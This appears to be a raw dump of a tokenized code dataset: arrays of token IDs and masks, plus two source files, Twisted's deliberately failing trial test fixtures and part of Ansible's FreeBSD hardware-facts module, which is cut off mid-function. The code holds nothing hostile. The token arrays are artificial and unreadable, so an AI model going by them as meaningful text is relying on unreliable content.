[ 363, 452, 363, 275, 788, 1563, 12407, 297, 283, 12407, 418, 199, 199, 504, 1125, 492, 627, 199, 504, 3380, 492, 627, 199, 199, 646, 295, 199, 199, 533, 26046, 547, 8, 23103, 547, 304, 272, 986, 199, 199, 533, 3523, 12407, 8, 785, 304, 339, 6186, 63, 17209, 689, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 495, 7, 272, 6186, 63, 16585, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 3610, 7, 272, 6186, 63, 20351, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 1130, 7, 339, 8864, 63, 11886, 63, 12640, 275, 1052, 272, 8864, 63, 515, 63, 12640, 275, 1052, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 7717, 63, 7327, 63, 3771, 275, 942, 267, 291, 14, 7717, 63, 1861, 63, 3771, 275, 942, 339, 347, 1050, 63, 11886, 63, 7717, 8, 1886, 12, 1947, 12, 13156, 12, 1642, 304, 267, 340, 440, 283, 5963, 63, 11886, 63, 12640, 7, 315, 843, 855, 807, 10651, 288, 843, 14, 5963, 63, 11886, 63, 12640, 275, 843, 14, 5963, 63, 11886, 63, 12640, 14, 1574, 342, 267, 340, 1642, 365, 488, 26, 288, 1642, 275, 359, 403, 61, 267, 367, 682, 315, 1642, 26, 288, 843, 14, 5963, 63, 11886, 63, 12640, 14, 5486, 8, 335, 12, 15364, 740, 1332, 1450, 12, 13156, 430, 272, 1050, 63, 11886, 63, 7717, 275, 18990, 8, 525, 63, 11886, 63, 7717, 9, 339, 347, 1050, 63, 515, 63, 7717, 8, 1886, 12, 1947, 12, 931, 12, 4928, 29, 403, 304, 267, 327, 3390, 26, 658, 525, 63, 515, 63, 7717, 64, 365, 22820, 14, 221, 710, 3261, 4293, 506, 2896, 14, 267, 327, 658, 1222, 63, 515, 64, 365, 282, 3851, 626, 365, 7838, 6169, 314, 931, 687, 314, 267, 327, 1738, 370, 314, 1031, 626, 365, 3769, 8652, 14, 221, 658, 932, 63, 515, 64, 4008, 787, 267, 327, 6346, 16918, 932, 63, 1074, 12, 1478, 63, 1074, 20414, 221, 658, 932, 63, 1074, 64, 365, 282, 1031, 1021, 26, 267, 327, 658, 13090, 1716, 3559, 658, 5826, 1716, 3559, 658, 7674, 1716, 64, 503, 658, 403, 2313, 221, 658, 403, 64, 267, 327, 4450, 1263, 4928, 402, 282, 1031, 14, 221, 658, 1080, 63, 1074, 64, 4293, 506, 658, 403, 3559, 282, 5046, 267, 327, 574, 12, 282, 1059, 574, 12, 503, 282, 1329, 14, 221, 658, 403, 64, 436, 658, 797, 64, 1336, 6169, 267, 327, 1263, 485, 585, 63, 402, 3414, 436, 4412, 3380, 14, 221, 658, 549, 64, 4450, 6169, 267, 327, 1263, 485, 498, 63, 402, 282, 4412, 1031, 14, 221, 437, 1059, 658, 1080, 63, 1074, 64, 4450, 6169, 267, 327, 282, 4412, 574, 626, 13718, 370, 282, 6917, 790, 1314, 1564, 365, 267, 327, 4472, 370, 314, 658, 1080, 63, 1074, 64, 574, 14, 221, 1626, 3000, 658, 1080, 63, 1074, 64, 4450, 267, 327, 6169, 282, 3414, 574, 543, 314, 1478, 4472, 370, 658, 1080, 63, 1074, 2313, 267, 340, 440, 283, 5963, 63, 515, 63, 12640, 7, 315, 843, 855, 807, 10651, 288, 843, 14, 5963, 63, 515, 63, 12640, 275, 843, 14, 5963, 63, 515, 63, 12640, 14, 1574, 342, 267, 892, 63, 515, 275, 942, 267, 367, 1819, 315, 931, 26, 288, 340, 1228, 8, 2108, 12, 334, 513, 12, 2008, 2298, 355, 340, 822, 8, 2108, 9, 508, 499, 26, 490, 1031, 63, 1074, 12, 1478, 63, 1074, 275, 1819, 355, 916, 822, 8, 2108, 9, 508, 413, 26, 490, 1031, 63, 1074, 275, 1819, 59, 16, 61, 490, 1478, 63, 1074, 275, 715, 355, 587, 26, 490, 746, 26046, 547, 480, 3364, 931, 1819, 26, 450, 83, 2, 450, 1819, 9, 288, 587, 26, 355, 1031, 63, 1074, 275, 488, 355, 1478, 63, 1074, 275, 1819, 288, 340, 1031, 63, 1074, 365, 620, 26, 355, 1031, 63, 1074, 275, 24289, 1716, 288, 916, 1031, 63, 1074, 365, 769, 26, 355, 1031, 63, 1074, 275, 10975, 1716, 288, 916, 1031, 63, 1074, 365, 1211, 26, 355, 1031, 63, 1074, 275, 12340, 1716, 288, 916, 1031, 63, 1074, 440, 315, 359, 13090, 1716, 12, 10975, 1716, 12, 12340, 1716, 61, 221, 971, 490, 436, 440, 1228, 8, 932, 63, 1074, 12, 7116, 9, 221, 971, 490, 436, 1031, 63, 1074, 365, 440, 488, 26, 355, 746, 26046, 547, 480, 3364, 1031, 7739, 26, 450, 83, 2, 450, 1031, 63, 1074, 9, 288, 340, 440, 1228, 8, 1080, 63, 1074, 12, 334, 17628, 12, 1109, 430, 257, 971, 490, 436, 1478, 63, 1074, 365, 440, 488, 26, 355, 746, 26046, 547, 480, 3364, 1478, 7739, 26, 450, 83, 2, 450, 1478, 63, 1074, 9, 288, 892, 63, 515, 14, 740, 1332, 932, 63, 1074, 12, 1478, 63, 1074, 430, 267, 340, 4928, 365, 620, 26, 288, 4928, 275, 24289, 1716, 267, 916, 4928, 365, 769, 26, 288, 4928, 275, 10975, 1716, 267, 916, 4928, 365, 1211, 26, 288, 4928, 275, 12340, 1716, 267, 916, 4928, 440, 315, 359, 13090, 1716, 12, 10975, 1716, 12, 12340, 1716, 61, 259, 971, 355, 436, 4928, 365, 440, 488, 26, 288, 746, 26046, 547, 480, 3364, 1031, 4928, 26, 450, 83, 2, 450, 4928, 9, 267, 843, 14, 5963, 63, 515, 63, 12640, 59, 2960, 8, 1222, 63, 515, 395, 4928, 61, 275, 1947, 272, 1050, 63, 515, 63, 7717, 275, 18990, 8, 525, 63, 515, 63, 7717, 9, 339, 347, 16336, 63, 7717, 8, 277, 12, 1453, 63, 932, 12, 1453, 63, 1080, 304, 267, 340, 440, 291, 14, 5963, 63, 515, 63, 12640, 26, 288, 372, 267, 5835, 63, 3771, 275, 1052, 267, 2403, 63, 3771, 275, 942, 267, 340, 1453, 63, 932, 26, 288, 5818, 275, 822, 8, 277, 14, 7717, 63, 1861, 63, 3771, 9, 288, 367, 931, 12, 4928, 315, 291, 14, 7717, 63, 1861, 63, 3771, 1988, 17, 2189, 355, 340, 291, 14, 1074, 63, 7717, 63, 1861, 8, 4631, 12, 931, 12, 4928, 12, 717, 1453, 63, 932, 12, 1453, 63, 1080, 304, 490, 340, 822, 8, 515, 9, 690, 5818, 26, 717, 2403, 63, 3771, 14, 740, 1332, 515, 12, 4928, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kemalakyol48/python-for-android
python-modules/twisted/twisted/trial/test/erroneous.py
59
3209
# -*- test-case-name: twisted.trial.test.test_tests -*- # Copyright (c) 2001-2009 Twisted Matrix Laboratories. # See LICENSE for details. from twisted.trial import unittest, util from twisted.internet import reactor, protocol, defer class FoolishError(Exception): pass class TestFailureInSetUp(unittest.TestCase): def setUp(self): raise FoolishError, "I am a broken setUp method" def test_noop(self): pass class TestFailureInTearDown(unittest.TestCase): def tearDown(self): raise FoolishError, "I am a broken tearDown method" def test_noop(self): pass class TestRegularFail(unittest.TestCase): def test_fail(self): self.fail("I fail") def test_subfail(self): self.subroutine() def subroutine(self): self.fail("I fail inside") class TestFailureInDeferredChain(unittest.TestCase): def test_fail(self): d = defer.Deferred() d.addCallback(self._later) reactor.callLater(0, d.callback, None) return d def _later(self, res): self.fail("I fail later") class ErrorTest(unittest.TestCase): """ A test case which has a L{test_foo} which will raise an error. @ivar ran: boolean indicating whether L{test_foo} has been run. """ ran = False def test_foo(self): """ Set C{self.ran} to True and raise a C{ZeroDivisionError} """ self.ran = True 1/0 class TestSkipTestCase(unittest.TestCase): pass TestSkipTestCase.skip = "skipping this test" class DelayedCall(unittest.TestCase): hiddenExceptionMsg = "something blew up" def go(self): raise RuntimeError(self.hiddenExceptionMsg) def testHiddenException(self): """ What happens if an error is raised in a DelayedCall and an error is also raised in the test? L{test_reporter.TestErrorReporting.testHiddenException} checks that both errors get reported. Note that this behaviour is deprecated. A B{real} test would return a Deferred that got triggered by the callLater. This would guarantee the delayed call error gets reported. """ reactor.callLater(0, self.go) reactor.iterate(0.01) self.fail("Deliberate failure to mask the hidden exception") testHiddenException.suppress = [util.suppress( message=r'reactor\.iterate cannot be used.*', category=DeprecationWarning)] class ReactorCleanupTests(unittest.TestCase): def test_leftoverPendingCalls(self): def _(): print 'foo!' reactor.callLater(10000.0, _) class SocketOpenTest(unittest.TestCase): def test_socketsLeftOpen(self): f = protocol.Factory() f.protocol = protocol.Protocol reactor.listenTCP(0, f) class TimingOutDeferred(unittest.TestCase): def test_alpha(self): pass def test_deferredThatNeverFires(self): self.methodCalled = True d = defer.Deferred() return d def test_omega(self): pass def unexpectedException(self): """i will raise an unexpected exception... ... *CAUSE THAT'S THE KINDA GUY I AM* >>> 1/0 """
apache-2.0
[ 3, 1882, 511, 13, 2546, 13, 354, 26, 7390, 14, 14443, 14, 396, 14, 396, 63, 2219, 1882, 199, 3, 1898, 334, 67, 9, 12521, 13, 8664, 17078, 8449, 26640, 14, 199, 3, 1666, 5113, 367, 2436, 14, 199, 199, 504, 7390, 14, 14443, 492, 2882, 12, 4884, 199, 504, 7390, 14, 4901, 492, 9655, 12, 4113, 12, 10133, 421, 199, 533, 8024, 1891, 547, 8, 1726, 304, 272, 986, 421, 199, 533, 1379, 6782, 607, 19845, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 746, 8024, 1891, 547, 12, 298, 41, 8140, 282, 10529, 3613, 1083, 2, 339, 347, 511, 63, 12921, 8, 277, 304, 267, 986, 421, 199, 533, 1379, 6782, 607, 30711, 8, 2796, 14, 1746, 304, 272, 347, 6766, 8, 277, 304, 267, 746, 8024, 1891, 547, 12, 298, 41, 8140, 282, 10529, 6766, 1083, 2, 339, 347, 511, 63, 12921, 8, 277, 304, 267, 986, 421, 199, 533, 1379, 16038, 4874, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1633, 8, 277, 304, 267, 291, 14, 1633, 480, 41, 2449, 531, 339, 347, 511, 63, 954, 1633, 8, 277, 304, 267, 291, 14, 954, 17765, 342, 339, 347, 1007, 17765, 8, 277, 304, 267, 291, 14, 1633, 480, 41, 2449, 6272, 531, 199, 199, 533, 1379, 6782, 607, 9937, 10720, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1633, 8, 277, 304, 267, 366, 275, 10133, 14, 9937, 342, 267, 366, 14, 10053, 8, 277, 423, 18103, 9, 267, 9655, 14, 1250, 22028, 8, 16, 12, 366, 14, 3058, 12, 488, 9, 267, 372, 366, 272, 347, 485, 18103, 8, 277, 12, 522, 304, 267, 291, 14, 1633, 480, 41, 2449, 2945, 531, 4388, 199, 533, 4520, 774, 8, 2796, 14, 1746, 304, 272, 408, 272, 437, 511, 1930, 1314, 965, 282, 491, 91, 396, 63, 1421, 93, 1314, 911, 746, 376, 1125, 14, 339, 768, 7725, 21471, 26, 5046, 9297, 3775, 491, 91, 396, 63, 1421, 93, 965, 2757, 1255, 14, 272, 408, 272, 21471, 275, 756, 339, 347, 511, 63, 1421, 8, 277, 304, 267, 408, 267, 2494, 445, 91, 277, 14, 1312, 93, 370, 715, 436, 746, 282, 445, 91, 31000, 93, 267, 408, 267, 291, 14, 1312, 275, 715, 267, 413, 15, 16, 4388, 199, 533, 1379, 7738, 1746, 8, 2796, 14, 1746, 304, 272, 986, 199, 199, 774, 7738, 1746, 14, 2759, 275, 298, 27713, 642, 511, 2, 421, 199, 533, 18464, 1187, 379, 2176, 8, 2796, 14, 1746, 304, 272, 8752, 1726, 6173, 275, 298, 10297, 29603, 87, 1536, 2, 339, 347, 2621, 8, 277, 304, 267, 746, 6064, 8, 277, 14, 5642, 1726, 6173, 9, 339, 347, 511, 14983, 1726, 8, 277, 304, 267, 408, 267, 14791, 10986, 340, 376, 1125, 365, 4915, 315, 282, 18464, 1187, 379, 2176, 436, 376, 1125, 365, 267, 2597, 4915, 315, 314, 511, 31, 398, 491, 91, 396, 63, 12222, 14, 774, 547, 28457, 14, 396, 14983, 1726, 93, 5920, 626, 267, 3865, 2552, 664, 14581, 14, 398, 3390, 626, 642, 13942, 365, 5906, 14, 437, 699, 91, 3093, 93, 511, 3955, 372, 282, 267, 17448, 626, 4788, 15572, 701, 314, 1240, 22028, 14, 961, 3955, 24197, 314, 267, 24725, 1240, 1125, 7545, 14581, 14, 267, 408, 267, 9655, 14, 1250, 22028, 8, 16, 12, 291, 14, 1939, 9, 267, 9655, 14, 20627, 8, 16, 14, 614, 9, 267, 291, 14, 1633, 480, 19898, 605, 323, 5988, 370, 3656, 314, 8752, 1919, 531, 272, 511, 14983, 1726, 14, 17381, 275, 359, 1974, 14, 17381, 8, 267, 1245, 29, 82, 3984, 5021, 4537, 20627, 3913, 506, 1202, 16110, 267, 4637, 29, 15561, 1874, 421, 199, 533, 799, 5021, 7891, 2925, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 21491, 25084, 15960, 18287, 8, 277, 304, 267, 347, 485, 837, 288, 870, 283, 1421, 11213, 267, 9655, 14, 1250, 22028, 8, 9943, 14, 16, 12, 20795, 199, 199, 533, 17766, 4299, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 20517, 8185, 4299, 8, 277, 304, 267, 289, 275, 4113, 14, 2927, 342, 267, 289, 14, 3922, 275, 4113, 14, 3658, 267, 9655, 14, 5859, 9735, 8, 16, 12, 289, 9, 199, 199, 533, 26244, 316, 2204, 9937, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 4468, 8, 277, 304, 267, 986, 339, 347, 511, 63, 12116, 17231, 4698, 422, 9047, 470, 8, 277, 304, 267, 291, 14, 765, 10474, 275, 715, 267, 366, 275, 10133, 14, 9937, 342, 267, 372, 366, 339, 347, 511, 63, 23524, 8, 277, 304, 267, 986, 421, 199, 318, 10537, 1726, 8, 277, 304, 272, 408, 73, 911, 746, 376, 10537, 1919, 1396, 272, 2263, 627, 3263, 4701, 4221, 619, 7, 51, 2334, 3826, 33, 598, 53, 57, 473, 24343, 10, 339, 1306, 413, 15, 16, 272, 408, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 511, 13, 2546, 13, 354, 26, 7390, 14, 14443, 14, 396, 14, 396, 63, 2219, 1882, 199, 3, 1898, 334, 67, 9, 12521, 13, 8664, 17078, 8449, 26640, 14, 199, 3, 1666, 5113, 367, 2436, 14, 199, 199, 504, 7390, 14, 14443, 492, 2882, 12, 4884, 199, 504, 7390, 14, 4901, 492, 9655, 12, 4113, 12, 10133, 421, 199, 533, 8024, 1891, 547, 8, 1726, 304, 272, 986, 421, 199, 533, 1379, 6782, 607, 19845, 8, 2796, 14, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 746, 8024, 1891, 547, 12, 298, 41, 8140, 282, 10529, 3613, 1083, 2, 339, 347, 511, 63, 12921, 8, 277, 304, 267, 986, 421, 199, 533, 1379, 6782, 607, 30711, 8, 2796, 14, 1746, 304, 272, 347, 6766, 8, 277, 304, 267, 746, 8024, 1891, 547, 12, 298, 41, 8140, 282, 10529, 6766, 1083, 2, 339, 347, 511, 63, 12921, 8, 277, 304, 267, 986, 421, 199, 533, 1379, 16038, 4874, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1633, 8, 277, 304, 267, 291, 14, 1633, 480, 41, 2449, 531, 339, 347, 511, 63, 954, 1633, 8, 277, 304, 267, 291, 14, 954, 17765, 342, 339, 347, 1007, 17765, 8, 277, 304, 267, 291, 14, 1633, 480, 41, 2449, 6272, 531, 199, 199, 533, 1379, 6782, 607, 9937, 10720, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1633, 8, 277, 304, 267, 366, 275, 10133, 14, 9937, 342, 267, 366, 14, 10053, 8, 277, 423, 18103, 9, 267, 9655, 14, 1250, 22028, 8, 16, 12, 366, 14, 3058, 12, 488, 9, 267, 372, 366, 272, 347, 485, 18103, 8, 277, 12, 522, 304, 267, 291, 14, 1633, 480, 41, 2449, 2945, 531, 4388, 199, 533, 4520, 774, 8, 2796, 14, 1746, 304, 272, 408, 272, 437, 511, 1930, 1314, 965, 282, 491, 91, 396, 63, 1421, 93, 1314, 911, 746, 376, 1125, 14, 339, 768, 7725, 21471, 26, 5046, 9297, 3775, 491, 91, 396, 63, 1421, 93, 965, 2757, 1255, 14, 272, 408, 272, 21471, 275, 756, 339, 347, 511, 63, 1421, 8, 277, 304, 267, 408, 267, 2494, 445, 91, 277, 14, 1312, 93, 370, 715, 436, 746, 282, 445, 91, 31000, 93, 267, 408, 267, 291, 14, 1312, 275, 715, 267, 413, 15, 16, 4388, 199, 533, 1379, 7738, 1746, 8, 2796, 14, 1746, 304, 272, 986, 199, 199, 774, 7738, 1746, 14, 2759, 275, 298, 27713, 642, 511, 2, 421, 199, 533, 18464, 1187, 379, 2176, 8, 2796, 14, 1746, 304, 272, 8752, 1726, 6173, 275, 298, 10297, 29603, 87, 1536, 2, 339, 347, 2621, 8, 277, 304, 267, 746, 6064, 8, 277, 14, 5642, 1726, 6173, 9, 339, 347, 511, 14983, 1726, 8, 277, 304, 267, 408, 267, 14791, 10986, 340, 376, 1125, 365, 4915, 315, 282, 18464, 1187, 379, 2176, 436, 376, 1125, 365, 267, 2597, 4915, 315, 314, 511, 31, 398, 491, 91, 396, 63, 12222, 14, 774, 547, 28457, 14, 396, 14983, 1726, 93, 5920, 626, 267, 3865, 2552, 664, 14581, 14, 398, 3390, 626, 642, 13942, 365, 5906, 14, 437, 699, 91, 3093, 93, 511, 3955, 372, 282, 267, 17448, 626, 4788, 15572, 701, 314, 1240, 22028, 14, 961, 3955, 24197, 314, 267, 24725, 1240, 1125, 7545, 14581, 14, 267, 408, 267, 9655, 14, 1250, 22028, 8, 16, 12, 291, 14, 1939, 9, 267, 9655, 14, 20627, 8, 16, 14, 614, 9, 267, 291, 14, 1633, 480, 19898, 605, 323, 5988, 370, 3656, 314, 8752, 1919, 531, 272, 511, 14983, 1726, 14, 17381, 275, 359, 1974, 14, 17381, 8, 267, 1245, 29, 82, 3984, 5021, 4537, 20627, 3913, 506, 1202, 16110, 267, 4637, 29, 15561, 1874, 421, 199, 533, 799, 5021, 7891, 2925, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 21491, 25084, 15960, 18287, 8, 277, 304, 267, 347, 485, 837, 288, 870, 283, 1421, 11213, 267, 9655, 14, 1250, 22028, 8, 9943, 14, 16, 12, 20795, 199, 199, 533, 17766, 4299, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 20517, 8185, 4299, 8, 277, 304, 267, 289, 275, 4113, 14, 2927, 342, 267, 289, 14, 3922, 275, 4113, 14, 3658, 267, 9655, 14, 5859, 9735, 8, 16, 12, 289, 9, 199, 199, 533, 26244, 316, 2204, 9937, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 4468, 8, 277, 304, 267, 986, 339, 347, 511, 63, 12116, 17231, 4698, 422, 9047, 470, 8, 277, 304, 267, 291, 14, 765, 10474, 275, 715, 267, 366, 275, 10133, 14, 9937, 342, 267, 372, 366, 339, 347, 511, 63, 23524, 8, 277, 304, 267, 986, 421, 199, 318, 10537, 1726, 8, 277, 304, 272, 408, 73, 911, 746, 376, 10537, 1919, 1396, 272, 2263, 627, 3263, 4701, 4221, 619, 7, 51, 2334, 3826, 33, 598, 53, 57, 473, 24343, 10, 339, 1306, 413, 15, 16, 272, 408, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dataxu/ansible
lib/ansible/module_utils/facts/hardware/freebsd.py
101
7355
# This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. from __future__ import (absolute_import, division, print_function) __metaclass__ = type import os import json import re from ansible.module_utils.facts.hardware.base import Hardware, HardwareCollector from ansible.module_utils.facts.timeout import TimeoutError, timeout from ansible.module_utils.facts.utils import get_file_content, get_mount_size class FreeBSDHardware(Hardware): """ FreeBSD-specific subclass of Hardware. Defines memory and CPU facts: - memfree_mb - memtotal_mb - swapfree_mb - swaptotal_mb - processor (a list) - processor_cores - processor_count - devices """ platform = 'FreeBSD' DMESG_BOOT = '/var/run/dmesg.boot' def populate(self, collected_facts=None): hardware_facts = {} cpu_facts = self.get_cpu_facts() memory_facts = self.get_memory_facts() dmi_facts = self.get_dmi_facts() device_facts = self.get_device_facts() mount_facts = {} try: mount_facts = self.get_mount_facts() except TimeoutError: pass hardware_facts.update(cpu_facts) hardware_facts.update(memory_facts) hardware_facts.update(dmi_facts) hardware_facts.update(device_facts) hardware_facts.update(mount_facts) return hardware_facts def get_cpu_facts(self): cpu_facts = {} cpu_facts['processor'] = [] sysctl = self.module.get_bin_path('sysctl') if sysctl: rc, out, err = self.module.run_command("%s -n hw.ncpu" % sysctl, check_rc=False) cpu_facts['processor_count'] = out.strip() dmesg_boot = get_file_content(FreeBSDHardware.DMESG_BOOT) if not dmesg_boot: try: rc, dmesg_boot, err = self.module.run_command(self.module.get_bin_path("dmesg"), check_rc=False) except Exception: dmesg_boot = '' for line in dmesg_boot.splitlines(): if 'CPU:' in line: cpu = re.sub(r'CPU:\s+', r"", line) cpu_facts['processor'].append(cpu.strip()) if 'Logical CPUs per core' in line: cpu_facts['processor_cores'] = line.split()[4] return cpu_facts def get_memory_facts(self): memory_facts = {} sysctl = self.module.get_bin_path('sysctl') if sysctl: rc, out, err = self.module.run_command("%s vm.stats" % sysctl, check_rc=False) for line in out.splitlines(): data = line.split() if 'vm.stats.vm.v_page_size' in line: pagesize = int(data[1]) if 'vm.stats.vm.v_page_count' in line: pagecount = int(data[1]) if 